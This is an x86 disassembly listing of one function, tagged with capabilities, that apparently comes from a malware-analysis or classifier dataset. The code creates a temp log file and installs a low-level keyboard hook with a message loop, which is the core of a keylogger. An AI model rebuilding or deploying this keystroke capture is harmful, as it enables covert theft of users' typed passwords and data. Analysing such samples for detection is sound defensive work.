Function at 0x1002ce20
Capabilities:
Get common file path
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006f681
mov eax, dword fs:[0]
push eax
sub esp, 0x274
mov eax, dword [0x1008f180]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x258], 0
lea ecx, [ebp - 0x270]
mov dword [ebp - 4], 0
xorps xmm0, xmm0
push 3
push 0x1007de58
movups xmmword [ebp - 0x270], xmm0
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x25c], 0
call fcn.10023040
push 0x208
lea eax, [ebp - 0x21c]
mov byte [ebp - 4], 1
push 0
push eax
call fcn.1004f4a0
add esp, 0xc
lea esi, [ebp - 0x270]
cmp dword [ebp - 0x25c], 7
lea ecx, [ebp - 0x24c]
cmova esi, dword [ebp - 0x270]
call fcn.100296d0
cmp dword [eax + 0x14], 7
jbe 0x1002ced3
mov eax, dword [eax]
lea ecx, [ebp - 0x21c]
push ecx
push 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov ecx, dword [ebp - 0x238]
mov esi, eax
cmp ecx, 7
jbe 0x1002cf29
mov edx, dword [ebp - 0x24c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1002cf1f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002d4be
push ecx
push edx
call fcn.1004d752
add esp, 8
xor eax, eax
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x238], 7
xorps xmm0, xmm0
mov word [ebp - 0x24c], ax
mov dword [ebp - 0x224], eax
movups xmmword [ebp - 0x234], xmm0
test esi, esi
jne 0x1002cf6e
mov esi, 7
mov word [ebp - 0x234], ax
mov dword [ebp - 0x220], esi
jmp 0x1002cfa8
lea ecx, [ebp - 0x21c]
mov dword [ebp - 0x220], eax
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1002cf80
sub ecx, edx
lea eax, [ebp - 0x21c]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x234]
call fcn.10023040
mov esi, dword [ebp - 0x220]
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x25c]
cmp ecx, 7
jbe 0x1002cff2
mov edx, dword [ebp - 0x270]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1002cfe2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002d4c3
push ecx
push edx
call fcn.1004d752
mov esi, dword [ebp - 0x220]
add esp, 8
xor eax, eax
mov dword [ebp - 0x260], 0
cmp esi, 7
mov word [ebp - 0x270], ax
mov eax, dword [ebp - 0x224]
lea ecx, [ebp - 0x234]
cmova ecx, dword [ebp - 0x234]
mov dword [ebp - 0x25c], 7
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x234]
cmova ecx, dword [ebp - 0x234]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x24c]
call fcn.100202b0
mov esi, eax
cmp esi, 0x10092bb8
je 0x1002d0c9
mov ecx, dword [0x10092bcc]
cmp ecx, 0xf
jbe 0x1002d086
mov eax, dword [0x10092bb8]
inc ecx
cmp ecx, 0x1000
jb 0x1002d07c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002d4c8
mov eax, edx
push ecx
push eax
call fcn.1004d752
add esp, 8
mov dword [0x10092bc8], 0
mov dword [0x10092bcc], 0xf
mov byte [0x10092bb8], 0
movups xmm0, xmmword [esi]
movups xmmword [0x10092bb8], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x10092bc8], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0x238]
cmp ecx, 0xf
jbe 0x1002d103
mov edx, dword [ebp - 0x24c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1002d0f9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002d4c8
push ecx
push edx
call fcn.1004d752
add esp, 8
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x24c]
push dword [ebp - 0x258]
mov edx, 0x10092bb8
call fcn.10021130
add esp, 4
lea ecx, [ebp - 0x24c]
mov byte [ebp - 4], 4
call fcn.10024670
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x238]
mov byte [ebp - 0x251], al
cmp ecx, 7
jbe 0x1002d182
mov edx, dword [ebp - 0x24c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1002d172
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002d4cd
push ecx
push edx
call fcn.1004d752
mov al, byte [ebp - 0x251]
add esp, 8
test al, al
jne 0x1002d378
push 0xc0
lea eax, [ebp - 0xd4]
push 0
push eax
call fcn.1004f4a0
cmp dword [0x10092bcc], 0xf
xorps xmm0, xmm0
mov esi, 0x10092bb8
mov dword [ebp - 0xd4], 0x1007df0c
cmova esi, dword [0x10092bb8]
mov dword [ebp - 0xc4], 0x1007da64
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x34], 0
movlpd qword [ebp - 0x44], xmm0
movlpd qword [ebp - 0x3c], xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x5c], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov byte [ebp - 0x1c], 0
add esp, 4
mov byte [ebp - 4], 5
lea eax, [ebp - 0xbc]
mov dword [ebp - 0x258], 0x11
lea ecx, [ebp - 0xd4]
push eax
call fcn.1001fb80
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc4], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0xc8], eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd4], vtable.std::basic_iostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x20]
mov dword [ebp + ecx - 0xd8], eax
mov dword [ebp - 4], 9
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd4], vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x78]
mov dword [ebp + ecx - 0xd8], eax
lea ecx, [ebp - 0xbc]
call fcn.1001f910
push ecx
push 0x22
push esi
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 0xa
call fcn.1001f7e0
test eax, eax
jne 0x1002d2ed
mov eax, dword [ebp - 0xd4]
lea ecx, [ebp - 0xd4]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10022870
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd4], vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x78]
mov dword [ebp + ecx - 0xd8], eax
mov edx, 0x1007de0c
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xc4]
call fcn.100290e0
push eax
call fcn.10031c50
add esp, 4
lea ecx, [ebp - 0xbc]
call fcn.1001f4b0
test eax, eax
jne 0x1002d369
mov eax, dword [ebp - 0xd4]
lea ecx, [ebp - 0xd4]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10022870
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 3
call fcn.1002d4e0
push ecx
mov ecx, 0x1008fc40
call fcn.1004a830
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
jne 0x1002d3eb
mov ecx, dword [ebp - 0x220]
cmp ecx, 7
jbe 0x1002d3cf
mov edx, dword [ebp - 0x234]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1002d3c5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002d4d2
push ecx
push edx
call fcn.1004d752
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1004d713
mov esp, ebp
pop ebp
ret
push 0
push eax
push 0x1002cba0
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
push 0
push 0
mov dword [ebp - 0x258], eax
lea eax, [ebp - 0x250]
push 0
push eax
call esi
test eax, eax
je 0x1002d449
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x250]
push eax
call edi
lea eax, [ebp - 0x250]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 0
push 0
push 0
lea eax, [ebp - 0x250]
push eax
call esi
test eax, eax
jne 0x1002d420
push dword [ebp - 0x258]
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov ecx, dword [ebp - 0x220]
cmp ecx, 7
jbe 0x1002d3cf
mov edx, dword [ebp - 0x234]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1002d3c5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002d4d2
jmp 0x1002d3c5
call fcn.1005260f
call fcn.1005260f
call fcn.1005260f
call fcn.1005260f
call fcn.1005260f
int3